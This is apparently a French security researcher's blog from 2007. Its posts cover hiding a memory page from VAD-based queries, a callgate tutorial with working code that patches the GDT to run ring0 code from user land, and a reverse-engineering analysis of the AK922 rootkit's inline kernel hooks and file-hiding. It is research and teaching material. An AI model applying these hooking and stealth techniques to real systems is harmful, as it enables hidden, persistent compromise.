7fff0010  b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00  ........@.......
7fff0020  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
7fff0030  00 00 00 00 00 00 00 00-00 00 00 00 f0 00 00 00  ................
7fff0040  0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68  ........!..L.!Th
7fff0050  69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f  is program canno
7fff0060  74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20  t be run in DOS
7fff0070  6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00  mode....$.......

Ho le joli mapping :]. J’ai mappé la page qui contient le PE header de calc.exe à la l’adresse virtuelle 0x7fff0000, c’est pas beau ca ! Juste pour être sur, j’attache olly sur le calc.exe et je le lance l’instruction MOV EAX,DWORD PTR DS:[7FFF0000], hoo pas d’exception, eax contient bien 0x00905A4D, youpilol !

Bien évident faire cette opération from scratch sous KD ce n’est pas vraiment conseillé, néanmoins ca montre que c’est possible. Je vais essayer d’implémenter cela dans mon driver et je releaserais le code plus tard.

Grâce à cette technique on a pu voir qu’il est possible de profiter de le page mémoire se trouvant à la plus haute adresse user-land. Après libre à nous d’y mettre ce qu’on veut. En le faisant de cette manière on profite du fait que les VADs (Virtual Address Descriptors) décrivant l’utilisation de l’espace mémoire de notre process ne sont pas mis à jour ce qui rend cette zone mémoire invisible aux API comme NtQueryVirtualMemory. Pour savoir que la page est présente il faut y accéder.

Pendant que j’y suis je voudrais rappeler l’existence de la technique du Shadow Walker qui consiste en gros à faire croire qu’une page est swappée sur le disque quand on tente d’y accéder. Après si c’est une lecture/écriture on dirige la requête vers une page « clean ». Je vous laisse lire l’article de phrack à ce sujet puis l’article/code d’un pote, b0l0k qui je trouve n’a pas eu le succès escompté.

J’essaierais d’y revenir plus tard dessus. En attendant j’espère que vous avez apprécié l’idée de jouer avec la page perdue !

ref :
Address Tanslation
http://book.itzero.com/read/microsoft/0507/microsoft.press.microsoft.windows.internals.fourth.edition.dec.2004.internal.fixed.ebook-ddu_html/0735619174/ch07lev1sec5.html

Intel Manuals, Windows Internals, google et autres …

14 comments novembre 12th, 2007

Callgate

Retour aux sources avec aujourd’hui du bon assembleur x86 et de la prog système. Je voudrais vous présenter un mécanisme peu utilisé disponible sur l’architecture x86 qu’est la CallGate. Avant de commencer je vous invite à lire le précédent post Segmentation Fault qui montre les concepts de la segmentation et les relations entre les segments et la GDT (Global Descriptor Table) sous Windows.

Toujours dans l’optique de corrompre un système, il peut être intéressant quand on est administrateur d’avoir la possibilité d’exécuter du code avec les privilèges kernel. Dans le cas ou on n’a pas envie de coder un driver pour modifier la SSDT/IDT/GDT ou toute autre structures kernel il faut jouer avec l’architecture x86.

Le CPL (Current Privilege Level) d’un thread est indiqué par ses segments, il y en a 6, CS, DS, ES, FS, GS et SS. CS est le segment de code, (celui fait référence à la partie de la mémoire contenant le code à être exécuté), SS est le segment de stack, DS, ES, FS et GS sont des segments de données. Sous Windows GS n’est pas utilisé et FS représente une zone mémoire contenant des structures importantes (TEB en user-land KPCR en kernel-land). Chaque segment selector possède la forme suivante :

Segment selector

Le RPL (Required Privilege Level) indique à quel niveau de privilège doit fonctionner le segment, le champ TI (Table Indicitor) nous indique si on doit lire le Segment Descriptor dans la LDT (Local Descriptor Table) ou la GDT. Justement en parlant de Segment Descriptor, ceux-ci sont référencés à travers le champ Index du segment. L’Index correspond à l’indice du Segment Descriptor dans la GDT qui se situe bien cachée dans le kernel-land. Pour mieux comprendre prenons les valeurs des segments user-land :

userland segments :
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000

0x1B=  11 0 11
0x23= 100 0 11
0x3B= 111 0 11

Pour les segments userland le RPL est à 3, normal c’est du ring3. Ensuite le champ Index nous donne les indices dans la GDT des Segments Descriptor. La structure d’un Segment Descriptor est la suivante :

Segment descriptor

Pour mieux comprendre prennons un exemple. Le segment CS userland indique l’indice 3 dans la GDT.

kd> !ProtMode.Descriptor GDT 3
------------------- Code Segment Descriptor --------------------
GDT base = 0x8003F000, Index = 0x03, Descriptor @ 0x8003f018
8003f018 ff ff 00 00 00 fb cf 00
Segment size is in 4KB pages, 32-bit default operand and data size
Segment is present, DPL = 3, Not system segment, Code segment
Segment is not conforming, Segment is readable, Segment is accessed
Target code segment base address = 0x00000000
Target code segment size = 0x000fffff

On voit bien qu’on a un Segment Descriptor de code possédant un DPL (Descriptor Privilege Level) de 3.

Concernant les segments kernel

kernelland segments
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000

0x08=   1 0 00b
0x10=  10 0 00b
0x23= 100 0 11b
0x30= 110 0 00b

Le segment selector CS kernel nous indique l’indice 1 dans la GDT.

kd> !ProtMode.Descriptor GDT 1
------------------- Code Segment Descriptor --------------------
GDT base = 0x8003F000, Index = 0x01, Descriptor @ 0x8003f008
8003f008 ff ff 00 00 00 9b cf 00
Segment size is in 4KB pages, 32-bit default operand and data size
Segment is present, DPL = 0, Not system segment, Code segment
Segment is not conforming, Segment is readable, Segment is accessed
Target code segment base address = 0x00000000
Target code segment size = 0x000fffff

Nickel, un code Segment Decriptor avec un DPL de 0.

Maintenant sachant tout cela, on va pouvoir rentrer dans le vif du sujet. Pour passer du ring3 ou ring0, l’architecture x86 ne laisse pas 36000 façons de possible. Actuellement, le moyen le plus utilisé pour réaliser cette opération est de faire appel à l’instruction SYSENTER, je vous laisser lire le post SYSENTER, stepping into da ring0. Il existe d’autres façons de passer en ring0, une méthode que je trouve assez peu connu est celle de la callgate.

En théorie la callgate, ce n’est pas trop difficile à comprendre. Il faut définir 3 choses :
- Le segment de code auquel on veut accéder.
- La fonction qui sera exécuté.
- Le niveau de privilège requit par l’appelant pour pourvoir utilisé la fonction.

Plus concrètement une callgate s’ajoute soit la GDT, soit dans la LDT, c’est une structure qui ressemble beaucoup à celle d’un segment descriptor, sauf que c’est un callgate descriptor (hewi!) :

Gate descriptor

Lors de l’appel, on effectue le parcourt suivant :

Callgate

C’est bien joli, tout ca, mais, comment ajoute t’on une callgate ? Evidemment, (sinon ca serait drôle) il faut être admin sur la machine et disposé du SeDebugPrivilege. Dans son article de phrack 59, CrazyLord utilisait le \Device\PhysicalMemory pour ajouter une callgate dans la GDT kernel. Perso, je n’aime pas trop cette méthode que je trouve un peu « crade », du fait qu’on manipule des adresse physiques et non virtuelles, je préfère utiliser l’API native NtSystemDebugControl avec les ControlCode DebugSysReadVirtual et DebugSysWriteVirtual qui permet de lire et d’écrire dans le kernel depuis le user-land de manière plus simple.

Pour retrouver l’emplacement de la GDT dans le kernel, on utilise l’instruction SGDT qui nous renvoie dans l’adresse indiqué une structure KGDTENTRY de la forme :

typedef struct _KGDTENTRY {
   WORD LimitLow; // size in bytes of the GDT
   WORD BaseLow;  // address of GDT (low part)
   WORD BaseHigh; // address of GDT (high part)
} KGDTENTRY, *PKGDTENTRY;

Après il suffit de faire :

KGDTENTRY GDT;
PVOID GDTBase;
[...]
__asm
{
	//sgdt
	//Stores the global descriptor table register (GDTR) into the destination operand. In legacy and
	//compatibility mode, the destination operand is 6 bytes; in 64-bit mode, it is 10 bytes.
	lea ecx, GDT
	sgdt fword ptr [ecx]
}

GDTBase=(PVOID)((GDT.BaseLow)|((ULONG)GDT.BaseHigh<<16));

On obtient ainsi la taille de la GDT et son emplacement mémoire. Après on va recopier la GDT dans un buffer userland et on va rechercher un segment descriptor dont le flag P (segment-present) est à 0, ce qui veut dire que cette entrée de la GDT est non utilisée et qu’on peut y installer notre callgate sans problème.

Il faut aussi savoir qu’il existe une GDT pour chaque core, si on veut installer une callgate on peut soit :
- Choisir une GDT précise et faire en sorte que le thread tourne sur le bon core au moment de l’appel à la callgate avec l’API SetThreadAffinityMask.

- Ne pas s’embêter et modifier toutes les GDT. Celles-ci étant normalement égales, on devrait modifier la même entrée de la GDT. Ainsi on n’aura pas à se préoccuper sur quel core s’exécutera le thread.

J’ai choisit de ne pas m’embêter et donc de modifier toutes les GDT. Maintenant, qu’on sait ou écrire dans la GDT, choisissons les valeurs de notre callgate descriptor.

En fait la callgate contient le segment selector qui référence le segment descriptor sous lequel notre code sera exécuté. Nous comme on veut tourner en ring0 on remplit se champ avec la même valeur que celle du segment CS ring0, c’est à dire 8. Sinon pour le reste c’est assez évident :

MyCallGate.offset_0_15=(WORD)((ULONG)Ring0Func&0xFFFF);
MyCallGate.selector=8; //ring0 CS descriptor
MyCallGate.param_count=0; //no parameters
MyCallGate.some_bits=0;
MyCallGate.type=12;     //32-bits callgate (• The 32-bit call gate (0Ch), which is redefined as the 64-bit call gate.)
MyCallGate.app_system=0; //system segment
MyCallGate.dpl=3;      //ring 3 code can call
MyCallGate.present=1;
MyCallGate.offset_16_31=(WORD)((ULONG)Ring0Func>>16);

Reste à savoir comment on va appeler la callgate. Dans le jeu d’instruction IA-32 il existe l’instruction Call, ok ca tout le monde connait, mais l’instruction call possède une feature moins connu qu’est le far call. Un far call est un call sur une procédure qui est situé dans un segment différent. Hop petit extrait des man intels.
If the selected descriptor is for a code segment, a far call to a code segment at the
same privilege level is performed. (If the selected code segment is at a different priv
ilege level and the code segment is non-conforming, a general-protection exception
is generated.) A far call to the same privilege level in protected mode is very similar
to one carried out in real-address or virtual-8086 mode. The target operand specifies
an absolute far address either directly with a pointer (ptr16:16 or ptr16:32) or indi-
rectly with a memory location (m16:16 or m16:32). The operand- size attribute
determines the size of the offset (16 or 32 bits) in the far address. The new code
segment selector and its descriptor are loaded into CS register; the offset from the
instruction is loaded into the EIP register.
A call gate (described in the next paragraph) can also be used to perform a far call to
a code segment at the same privilege level. Using this mechanism provides an extra
level of indirection and is the preferred method of making calls between 16-bit and
32-bit code segments.
When executing an inter-privilege-level far call, the code segment for the procedure
being called must be accessed through a call gate. The segment selector specified by
the target operand identifies the call gate. The target operand can specify the call
gate segment selector either directly with a pointer (ptr16:16 or ptr16:32) or indi-
rectly with a memory location (m16:16 or m16:32). The processor obtains the
segment selector for the new code segment and the new instruction pointer (offset)
from the call gate descriptor. (The offset from the target operand is ignored when a
call gate is used.)

Ce qu’il faut retenir c’est qu’un far call peut se définir de la façon suivante :

typedef struct _FARCALL {
	DWORD Offset;
	WORD SegSelector;
} FARCALL, *PFARCALL;

Que lors d’un far call vers une callgate seule le champ SegSelector est prit en compte, normal le pointeur sur la fonction à exécuter est définit dans le callgate descriptor. Il suffit donc de faire :

FARCALL Farcall={0};
[...]
//install un new seg desc dans les GDT de chaque core et renvoie le segment permettant d'y acceder
Farcall.SegSelector=InstallCallGate();

__asm
{
	lea ecx, Farcall
	call fword ptr [ecx]
}

Pour appeler notre jolie callgate, wOOooTz !
Pour l’exemple j’ai prit la fonction Ring0Func suivante :

void __declspec(naked) Ring0Func() {
// ring0 prolog
__asm
{
	pushad // push eax,ecx,edx,ebx,ebp,esp,esi,edi onto the stack
	pushfd // decrement stack pointer by 4 and push EFLAGS onto the stack
	cli    // disable interrupts
}
// execute your ring0 code here ...

__asm{int 3} // HEQDSHOT!

// ring0 epilog
__asm
{
	sti   // restore interrupts
	popfd // restore registers pushed by pushfd
	popad // restore registers pushed by pushad
	retf  // you may retf  if you pass arguments
}
}

Je lance mon programme et là !

Break instruction exception - code 80000003 (first chance)
0040081a cc              int     3
kd> r
eax=00000120 ebx=7ffd5000 ecx=0012ff44 edx=00000001 esi=002d0031 edi=00370031
eip=0040081a esp=f6ec7dac ebp=0012ff4c iopl=0         nv up di pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000046
0040081a cc              int     3

HEQSHOTZ ! Ma callgate à bien été appelé avec un CS de 8 (ring0) wOOotz!

Dernière chose aussi, les autres segments ont aussi été mis à jour pour être des segments kernel. Pour le segment de stack (SS) c’est indiqué par les man intels :
Stack Switching. The processor performs an automatic stack switch when a control transfer causes a change in privilege levels to occur. Switching stacks isolates more-privileged software stacks from less-privileged software stacks and provides a mechanism for saving the return pointer back to the program that initiated the call.

Donc je n’arrive pas à comprendre pour quoi les autres segments, DS, ES, FS et GS sont modifiés, si quelqu’un a une idée qu’il laisse un comment.

Au final, les callgate, c’est bien cool si on veut balancer du code ring0 sans charger de driver. Reste que je n’ai pas tout exposé dans ce post, je vous invite à aller lire les man intels sur le sujet pour mieux comprendre le fonctionnement, en tout cas ce post est une bonne intro au sujet. J’espère que ca vous à plus.

Hop le petit code de démonstration :

http://ivanlef0u.fr/repo/Callgate.rar

Sinon au passage petite pub pour la dernière rlz de mindkind (no comments!) :
http://lastcall.mindkind.org/mindkind1011.zip

Dédicace à une tapz :]
<tapz> je te met au defis de place dans ton post le mot « langouste »

refs :

Call gate
http://en.wikipedia.org/wiki/Call_gate

Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 3A System Programming Guide

http://www.intel.com/design/processor/manuals/253668.pdf

4.8.3 Call Gates

AMD64 Architecture Programmer’s Manual Volume 2 System Programming
http://www.amd.com/us-en/assets/content_type/white_papers_and_tech_docs/24593.pdf
4.11.2 Control Transfers Through Call Gates

AMD64 Architecture Programmer’s Manual Volume 3 General-Purpose and System Instructions.pdf
http://www.amd.com/us-en/assets/content_type/white_papers_and_tech_docs/24594.pdf
Call (Far)

From Russia with Rootkit
http://www.f-secure.com/weblog/archives/00000838.html

Segmentation Fault
http://www.ivanlef0u.tuxfamily.org/?p=46

GDT / LDT
http://uninformed.org/index.cgi?v=8&a=2&p=9

Adding New Software Interrupts
http://www.windowsitlibrary.com/Content/356/10/1.html

12 comments novembre 2nd, 2007

Rootkit AK922

C’est encore un produit chinois qui attire mon attention, décidément les gars ont du talent dans ce pays. En fait je suis tombé de dessus en lisant le forum de rootkit.com, il s’agit d’un POC fournit sous forme de binaire .sys, permettant de bypasser une grosse partie (tous?) des anti-rk au niveau du system de fichiers. Comme cette chose m’intéressait au plus au point, j’ai décidé de la reversé. Ca fait bizarre de RE sans les symbols mais on s’y fait à force :p Voici ce que j’ai découvert au sein du monstre.

Le binaire porte le nom de ak922.sys, ne possède aucune description, n’est pas packé, a été codé en C et semble avoir été compilé avec le compilo du DDK. Après avoir été lancé (dans une VM bien sur !), on remarque que binaire n’affiche aucun message avec la routine DbgPrint et qu’il arrive effectivement à cacher le fichier ak922.sys. Si on regarde la table des IRP_MJ on ne trouve rien de spécial :

kd> !drvobj driverak922 3
Driver object (80d08868) is for:
DriverAK922
Driver Extension List: (id , addr)

Device Object list:
80d092a8

DriverEntry:   fd24505c	AK922
DriverStartIo: 00000000
DriverUnload:  fd244f76	AK922

Dispatch routines:
[00] IRP_MJ_CREATE                      fd244e20	AK922+0xe20 <-CompleteNormalIRP
[01] IRP_MJ_CREATE_NAMED_PIPE           fd244e20	AK922+0xe20 <-CompleteNormalIRP
[02] IRP_MJ_CLOSE                       fd244e20	AK922+0xe20 <-CompleteNormalIRP
[03] IRP_MJ_READ                        fd244e20	AK922+0xe20 ...
[04] IRP_MJ_WRITE                       fd244e20	AK922+0xe20
[05] IRP_MJ_QUERY_INFORMATION           fd244e20	AK922+0xe20
[06] IRP_MJ_SET_INFORMATION             fd244e20	AK922+0xe20
[07] IRP_MJ_QUERY_EA                    fd244e20	AK922+0xe20
[08] IRP_MJ_SET_EA                      fd244e20	AK922+0xe20
[09] IRP_MJ_FLUSH_BUFFERS               fd244e20	AK922+0xe20
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    fd244e20	AK922+0xe20
[0b] IRP_MJ_SET_VOLUME_INFORMATION      fd244e20	AK922+0xe20
[0c] IRP_MJ_DIRECTORY_CONTROL           fd244e20	AK922+0xe20
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         fd244e20	AK922+0xe20
[0e] IRP_MJ_DEVICE_CONTROL              fd244e20	AK922+0xe20
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     fd244e20	AK922+0xe20
[10] IRP_MJ_SHUTDOWN                    fd244e86	AK922+0xe86 <-ShutdownRoutine !
[11] IRP_MJ_LOCK_CONTROL                fd244e20	AK922+0xe20
[12] IRP_MJ_CLEANUP                     fd244e20	AK922+0xe20
[13] IRP_MJ_CREATE_MAILSLOT             fd244e20	AK922+0xe20
[14] IRP_MJ_QUERY_SECURITY              fd244e20	AK922+0xe20
[15] IRP_MJ_SET_SECURITY                fd244e20	AK922+0xe20
[16] IRP_MJ_POWER                       fd244e20	AK922+0xe20
[17] IRP_MJ_SYSTEM_CONTROL              fd244e20	AK922+0xe20
[18] IRP_MJ_DEVICE_CHANGE               fd244e20	AK922+0xe20
[19] IRP_MJ_QUERY_QUOTA                 fd244e20	AK922+0xe20
[1a] IRP_MJ_SET_QUOTA                   fd244e20	AK922+0xe20
[1b] IRP_MJ_PNP                         804fa88e	nt!IopInvalidDeviceRequest

Le driver possède un device associé :

kd> !devobj 80d092a8
Device object (80d092a8) is for:
AzyKit7f65Pd DriverAK922 DriverObject 80d08868
Current Irp 00000000 RefCount 0 Type 00000022 Flags 00000048
Dacl e129a2ec DevExt 00000000 DevObjExt 80d09360
ExtensionFlags (0000000000)
Device queue is not busy.

On note aussi que le nom du device, ici AzyKit7f65Pd, change à chaque chargement du driver. Enfin l’unloading du driver se passe sans problème et la VM reste stable avec la présence du rootkit.

Il est temps de sortir notre ami IDA, hop hop hop !
La fonction d’entré porte le nom de « start » (w0w). Celle ci va d’abord manipulé la string « \Device\AzyKit000000″ en pseudo-randomisant les ’0′ avec les API KeQuerySystemTime/KeQueryInterruptTime et le nombre de Tick system trouvé dans la variable KeTickCount exportée par ntoskrnl. Je n’ai pas vraiment cherché à comprendre en détail comment le calcul des caractères était effectué, ce n’est pas ca le plus intéressant.

Ensuite start récupère les adresses des fonctions IofCompleteRequest et KeRaiseIrqlToDpcLevel avec MmGetSystemRoutineAddres. Puis vérifie qu’elle s’exécute bien dans le contexte du process « system » et note son EPROCESS.

mov     esi, ds:RtlInitUnicodeString
lea     eax, [ebp+SourceString]
push    eax             ; SourceString
lea     eax, [ebp+DeviceName]
push    eax             ; DestinationString
call    esi ; RtlInitUnicodeString
push    offset aIofcompletereq ; "IofCompleteRequest"
lea     eax, [ebp+SystemRoutineName]
push    eax             ; DestinationString
call    esi ; RtlInitUnicodeString
mov     edi, ds:MmGetSystemRoutineAddress
lea     eax, [ebp+SystemRoutineName]
push    eax             ; SystemRoutineName
call    edi ; MmGetSystemRoutineAddress
mov     pIofCompleteRequest, eax
push    offset aKeraiseirqltod ; "KeRaiseIrqlToDpcLevel"
lea     eax, [ebp+SystemRoutineName]
push    eax             ; DestinationString
call    esi ; RtlInitUnicodeString
lea     eax, [ebp+SystemRoutineName]
push    eax             ; SystemRoutineName
call    edi ; MmGetSystemRoutineAddress
mov     pKeRaiseIrqlToDpcLevel, eax
call    ds:IoGetCurrentProcess
push    eax
call    IsSystemProcess?
test    eax, eax
mov     SystemEPROCESS, eax

Après, start fait appel à une fonction pour retrouver les DEVICE_OBJECT associé au driver \Driver\Disk puis les stockent dans un tableau.

push    8
pop     ecx
xor     eax, eax
mov     edi, offset Tab_DiskDevices
rep stosd
call    GetDiskDriverDevices

Par la suite, on trouve la creation du device, l’initialisation de IRP_MJ_SHUTDOWN et de DriverUnload. Plus loin, start va delete la key \Registry\Machine\SYSTEM\CurrentControlSet\Services\AzyKit\Enum avec ZwDeleteKey (si elle existe !) et ouvrir un handle sur la key \Registry\Machine\SYSTEM\CurrentControlSet\Services\AzyKit pour aussi la delete afin que l’utilisateur ne remarque rien dans le registre lorsque le rootik est loadé.

Si on regarde de plus près la routine qui gère les IRP_MJ_SHUTDOWN, on peut voir que celle-ci à pour rôle de crée la clé \Registry\Machine\SYSTEM\CurrentControlSet\Services\AzyKit pour que le binaire soit chargé au boot. Cette routine est appelée au moment de l’arrêt du système et permet donc au rk de survivre au boot. On observe aussi que se dernier considère qu’il se trouve dans \system32\drivers sous le nom de ak922.sys.

start crée un buffer dans la NonPagedPool avec la fonction ExAllocatePoolWithTag et recopie dedans une fonction que j’ai appelé HookedIofCompleteRequest :

HookedIofCompleteRequest proc near
pusha                   ; VOID
; FASTCALL
; IopfCompleteRequest(
;     IN PIRP Irp,
;     IN CCHAR PriorityBoost
;     )
pushf
cli
push    ecx             ; Irp
call    HandleIRPCompletion
sti
popf
popa
jmp     RealIofCompleteRequest
HookedIofCompleteRequest endp

Le call sur la fonction HandleIRPCompletion est recalculé plus loin par ces lignes :

mov     eax, HookedIofCompleteRequestPool
add     eax, 4
lea     ebx, HandleIRPCompletion
sub     ebx, eax
sub     ebx, 5
mov     byte ptr [eax], 0E8h ; recalcul un jmp du Pool
; vers HandleIRPCompletion
mov     [eax+1], ebx

Juste après start fait appel à la fonction que j’ai appelé HookKeRaiseIrqlToDpcLevel :

HookKeRaiseIrqlToDpcLevel proc near
push    ebx
push    esi
push    edi
cli
mov     eax, cr0
and     eax, 0FFFEFFFFh
mov     cr0, eax
pusha
pushf
mov     esi, pKeRaiseIrqlToDpcLevel
lea     edi, SavedKeRaiseIrqlToDpcLevel
mov     ecx, 7
rep movsb
mov     byte68, 68h     ; 68=push 0xXXXXXXXX
lea     edi, HookedKeRaiseIrqlToDpcLevel
mov     pHookedKeRaiseIrqlToDpcLevel, edi
mov     byteC3, 0C3h    ; ret
mov     byte90, 90h
lea     esi, byte68
mov     edi, pKeRaiseIrqlToDpcLevel
mov     ecx, 7
rep movsb
popf
popa
mov     eax, pKeRaiseIrqlToDpcLevel
add     eax, 7
mov     RealKeRaiseIrqlToDpcLevel, eax
mov     eax, cr0
or      eax, 10000h
mov     cr0, eax
sti
pop     edi
pop     esi
pop     ebx
retn
HookKeRaiseIrqlToDpcLevel endp

Cette fonction sert à hooker KeRaiseIrqlToDpcLevel de hal.dll avec un push /ret. La fonction KeRaiseIrqlToDpcLevel à pour rôle, comme son nom l’indique, d’élever l’IRQL à DISPATCH_LEVEL, elle est donc appelé ultra régulièrement (plusieurs fois par seconde au moins !).

avant
kd> u hal!KeRaiseIrqlToDpcLevel
hal!KeRaiseIrqlToDpcLevel:
806ee03c 33c0            xor     eax,eax
806ee03e a024f0dfff      mov     al,byte ptr ds:[FFDFF024h]
806ee043 c60524f0dfff02  mov     byte ptr ds:[0FFDFF024h],2
806ee04a c3              ret
806ee04b 90              nop

après
kd> u hal!KeRaiseIrqlToDpcLevel
hal!KeRaiseIrqlToDpcLevel:
806ee03c 68904d24fd      push    offset AK922+0xd90 (fd244d90)
806ee041 c3              ret

kd> u fd244d90
AK922+0xd90:
fd244d90 60              pushad
fd244d91 9c              pushfd
fd244d92 e871ffffff      call    AK922+0xd08 (fd244d08) ; HookIofCompleteRequest
fd244d97 9d              popfd
fd244d98 61              popad
fd244d99 33c0            xor     eax,eax
fd244d9b 3ea024f0dfff    mov     al,byte ptr ds:[FFDFF024h] ;IRQL
fd244da1 ff25505724fd    jmp     dword ptr [AK922+0x1750 (fd245750)]

kd> u poi(fd245750)
hal!KeRaiseIrqlToDpcLevel+0x7:
806ee043 c60524f0dfff02  mov     byte ptr ds:[0FFDFF024h],2 ;IRQl=DISPATCH_LEVEL
806ee04a c3              ret
806ee04b 90              nop

Le hook de KeRaiseIrqlToDpcLevel sert juste à faire appel à la fonction qui va hooker IofCompleteRequest. HookIofCompleteRequest fonction de 2 manières, la première fois quelle est appelé elle va sauvegardé les 6 premières instructions de IofCompleteRequest (sizeof(push XXXXXXXX) + sizeof(ret)) puis copié dans un buffer, que j’ai nommé InlineIofCompleteRequest, les instruction qui vont servir pour le hook, enfin elle remplace le code original de IofCompleteRequest par un push/ret allant sur le code de la NonPagePool crée précédemment. Pour finir HookIofCompleteRequest va positionner un booléen à 1 pour dire que le hook est installé afin que lors de son prochain appel, la fonction ne recopie que les instructions sauvegardées dans le buffer InlineIofCompleteRequest.

Ainsi chaque appel à KeRaiseIrqlToDpcLevel va rehooker IofCompleteRequest, déjà que le hook est relativement difficil à détecter, il faut en plus savoir que celui-ci est régulièrement réinstaller avant de pouvoir le désactiver. Avant q’uun anti-rk ne face ca, j’ai le tps de bouffer mes chocapicz moi.

Bref voilà ce que donne le hook sur IofCompleteRequest.

avant
kd> u nt!IofCompleteRequest
nt!IofCompleteRequest:
804e3bf6 ff25042b5580    jmp     dword ptr [nt!pIofCompleteRequest (80552b04)]
804e3bfc 90              nop
804e3bfd 90              nop
804e3bfe 90              nop
804e3bff 90              nop
804e3c00 90              nop

après
kd> uf nt!IofCompleteRequest
nt!IofCompleteRequest:
804e3bf6 682035cb80      push    80CB3520h
804e3bfb c3              ret

kd> u 80CB3520h ;Buffer de la NonPagedPool
80cb3520 60              pushad
80cb3521 9c              pushfd
80cb3522 fa              cli
80cb3523 51              push    ecx
80cb3524 e88f13597c      call    AK922+0x8b8 (fd2448b8) ;HandleIRPCompletion
80cb3529 fb              sti
80cb352a 9d              popfd
80cb352b 61              popad
80cb352c ff2544b71ffd    jmp     dword ptr [ak922+0x1744 (fd1fb744)] ; <=> jmp dword ptr [nt!IopfCompleteRequest]

kd> ln poi(fd23d744)
(804e3c01)   nt!IopfCompleteRequest   |  (804e3d4a)   nt!KeRemoveByKeyDeviceQueue
Exact matches:
nt!IopfCompleteRequest = 
kd> u nt!IopfCompleteRequest
nt!IopfCompleteRequest:
804e3c01 8bff            mov     edi,edi
804e3c03 55              push    ebp
804e3c04 8bec            mov     ebp,esp
804e3c06 83ec10          sub     esp,10h
804e3c09 53              push    ebx
804e3c0a 56              push    esi
804e3c0b 8bf1            mov     esi,ecx
804e3c0d 8a4e23          mov     cl,byte ptr [esi+23h]
[...]

Alors, pourquoi ce rookit hook IofCompleteRequest ? Il faut savoir que cette fonction, appelé en convention fastcall, d’ou le ‘f’, sert a dire qu’on à finit de faire mumuse avec l’IRP et qu’on peut le renvoyé à l’I/O manager. C’est grâce à cela que le rk peut hooker le système de fichier, en effet, lors d’un appel à NtQueryDirectoryFile un IRP est forgé puis envoyé à la device stack se situant au dessus du driver de système de fichier Ntfs. Si la MajorFunction de l’IRP est IRP_MJ_DIRECTORY_CONTROL alors le Ntfs.sys appel la fonction NtfsFsdDirectoryControl qui se charge de retrouver les fichiers du dossier demandé sur le disque. Comme toute bonne fonction de driver, NtfsFsdDirectoryControl va notifier avec IofCompleteRequest quand elle aura finit de manipuler l’IRP. Ainsi en hookant cette fonction, ak922 peut voir ce que contient les paramètres de l’IRP avant que celui-ci ne soit renvoyé à l’appelant.

Justement, j’ai appelé cette fonction HandleIRPCompletion. Une bonne grosse fonction assez compliquée a analyser. La première que va faire HandleIRPCompletion est de vérifier la MajorFonction de l’IRP, si celle-ci est de type IRP_MJ_DIRECTORY_CONTROL et que la MinorFunction est IRP_MN_QUERY_DIRECTORY alors HandleIRPCompletion regarde l’InformationClass demandé, en général le système demande une InformationClass de type FileBothDirectoryInformation qui renvoie une liste de structure FILE_BOTH_DIR_INFORMATION contenant la liste des fichiers.

typedef struct _FILE_BOTH_DIR_INFORMATION {
ULONG  NextEntryOffset;
ULONG  FileIndex;
LARGE_INTEGER  CreationTime;
LARGE_INTEGER  LastAccessTime;
LARGE_INTEGER  LastWriteTime;
LARGE_INTEGER  ChangeTime;
LARGE_INTEGER  EndOfFile;
LARGE_INTEGER  AllocationSize;
ULONG  FileAttributes;
ULONG  FileNameLength;
ULONG  EaSize;
CCHAR  ShortNameLength;
WCHAR  ShortName[12];
WCHAR  FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;

Ici le rootkit ne vérifie que les InformationClass FileBothDirectoryInformation et FileDirectoryInformation (noobed!). Puis il scan la liste des structure pour y unlinker celle qui contient le fichier ak922.sys. C’est un peu dommage car il faudrait qu’il gère aussi FileFullDirectoryInformation et FileNamesInformation, je ne sais pas si l’auteur l’a fait exprès mais en utlisant ces 2 dernières InformationClass il est possible de retrouver facilement le fichier. Je me suis codé vite fait un detecteur que je fournis dans le .rar.

Si la MajorFunction de l’IRP est de type IRP_MJ_READ et que celui-ci est envoyé sur l’un des devices du driver disk.sys alors là on prend cher.

kd> !drvobj driverdisk 3
Driver object (84b189e8) is for:

DriverDisk
Driver Extension List: (id , addr)
(f75033be 84b178e0)
Device Object list:
8479ac68  847d2ab8  84abbc68  84abcab8

DriverEntry:   f74f38ab	disk!GsDriverEntry
DriverStartIo: 00000000
DriverUnload:  f72fa5c0	sptd

Dispatch routines:
[00] IRP_MJ_CREATE                      f7502c30	CLASSPNP!ClassCreateClose
[01] IRP_MJ_CREATE_NAMED_PIPE           804f4456	nt!IopInvalidDeviceRequest
[02] IRP_MJ_CLOSE                       f7502c30	CLASSPNP!ClassCreateClose
[03] IRP_MJ_READ                        f74fcd9b	CLASSPNP!ClassReadWrite
[04] IRP_MJ_WRITE                       f74fcd9b	CLASSPNP!ClassReadWrite
[05] IRP_MJ_QUERY_INFORMATION           804f4456	nt!IopInvalidDeviceRequest
[06] IRP_MJ_SET_INFORMATION             804f4456	nt!IopInvalidDeviceRequest
[07] IRP_MJ_QUERY_EA                    804f4456	nt!IopInvalidDeviceRequest
[08] IRP_MJ_SET_EA                      804f4456	nt!IopInvalidDeviceRequest
[09] IRP_MJ_FLUSH_BUFFERS               f74fd366	CLASSPNP!ClassShutdownFlush
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    804f4456	nt!IopInvalidDeviceRequest
[0b] IRP_MJ_SET_VOLUME_INFORMATION      804f4456	nt!IopInvalidDeviceRequest
[0c] IRP_MJ_DIRECTORY_CONTROL           804f4456	nt!IopInvalidDeviceRequest
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         804f4456	nt!IopInvalidDeviceRequest
[0e] IRP_MJ_DEVICE_CONTROL              f74fd44d	CLASSPNP!ClassDeviceControlDispatch
